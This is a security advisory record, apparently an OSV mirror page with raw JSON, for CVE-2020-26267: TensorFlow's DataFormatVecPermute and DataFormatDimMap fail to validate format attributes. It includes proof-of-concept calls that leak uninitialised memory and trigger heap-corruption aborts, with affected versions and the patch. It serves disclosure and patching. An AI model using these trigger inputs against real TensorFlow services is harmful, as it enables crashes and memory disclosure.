GHSA-C9F3-9WFR-WGH7低危已审查

Lack of validation in data format attributes in TensorFlow

OSV 1.4.0 · github-reviewed · 修改于 2024-10-29 04:02

发布时间

2020-12-11 03:07

GitHub 审查时间

2020-12-11 03:05

NVD 发布时间

2020-12-11 07:15

源文件

advisories/github-reviewed/2020/12/GHSA-c9f3-9wfr-wgh7/GHSA-c9f3-9wfr-wgh7.json

公告说明

Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

受影响的软件包

PyPI

tensorflow

ECOSYSTEM

引入0修复1.15.5

PyPI

tensorflow

ECOSYSTEM

引入2.0.0修复2.0.4

PyPI

tensorflow

ECOSYSTEM

引入2.1.0修复2.1.3

PyPI

tensorflow

ECOSYSTEM

引入2.2.0修复2.2.2

PyPI

tensorflow

ECOSYSTEM

引入2.3.0修复2.3.2

PyPI

tensorflow-cpu

ECOSYSTEM

引入0修复1.15.5

PyPI

tensorflow-cpu

ECOSYSTEM

引入2.0.0修复2.0.4

PyPI

tensorflow-cpu

ECOSYSTEM

引入2.1.0修复2.1.3

PyPI

tensorflow-cpu

ECOSYSTEM

引入2.2.0修复2.2.2

PyPI

tensorflow-cpu

ECOSYSTEM

引入2.3.0修复2.3.2

PyPI

tensorflow-gpu

ECOSYSTEM

引入0修复1.15.5

PyPI

tensorflow-gpu

ECOSYSTEM

引入2.0.0修复2.0.4

PyPI

tensorflow-gpu

ECOSYSTEM

引入2.1.0修复2.1.3

PyPI

tensorflow-gpu

ECOSYSTEM

引入2.2.0修复2.2.2

PyPI

tensorflow-gpu

ECOSYSTEM

引入2.3.0修复2.3.2

标识信息

别名 / CVE

CVE-2020-26267

CWE

CWE-125

软件生态

PyPI

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

CVSS_V4

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

原始 OSV JSON

{
  "id": "GHSA-c9f3-9wfr-wgh7",
  "aliases": [
    "CVE-2020-26267"
  ],
  "details": "### Impact\nThe `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`.\n\nHowever, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.\n\n```python\n>>> import tensorflow as tf\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], \n                                    src_format='1234', dst_format='1253')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1234', dst_format='1223')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1224', dst_format='1423')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='12345678', dst_format='87654321')\nmunmap_chunk(): invalid pointer\nAborted\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           \n                                    src_format='12345678', dst_format='87654321')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[71364624,        0],\n       [71365824,        0],\n       [     560,        0],\n       [      48,        0]], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], \n                                    src_format='12345678', dst_format='87654321')\nfree(): invalid next size (fast)\nAborted\n```\n\nA similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons:\n\n```python\n>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',\n>>> dst_format='8765')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[1954047348, 1954047348],\n       [1852793646, 1852793646],\n       [1954047348, 1954047348],\n       [1852793632, 1852793632]], dtype=int32)>\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.",
  "summary": "Lack of validation in data format attributes in TensorFlow",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.5"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.4"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.3"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.2"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.2"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.5"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-cpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.4"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-cpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.3"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-cpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.2"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-cpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.2"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-cpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.5"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-gpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.4"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-gpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.3"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-gpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.2"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-gpu",
        "ecosystem": "PyPI"
      }
    },
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.2"
            }
          ]
        }
      ],
      "package": {
        "name": "tensorflow-gpu",
        "ecosystem": "PyPI"
      }
    }
  ],
  "modified": "2024-10-28T20:02:35Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
    },
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"
    }
  ],
  "published": "2020-12-10T19:07:26Z",
  "references": [
    {
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26267",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae",
      "type": "WEB"
    },
    {
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-298.yaml",
      "type": "WEB"
    },
    {
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-333.yaml",
      "type": "WEB"
    },
    {
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-140.yaml",
      "type": "WEB"
    },
    {
      "url": "https://github.com/tensorflow/tensorflow",
      "type": "PACKAGE"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "nvd_published_at": "2020-12-10T23:15:00Z",
    "github_reviewed_at": "2020-12-10T19:05:08Z"
  }
}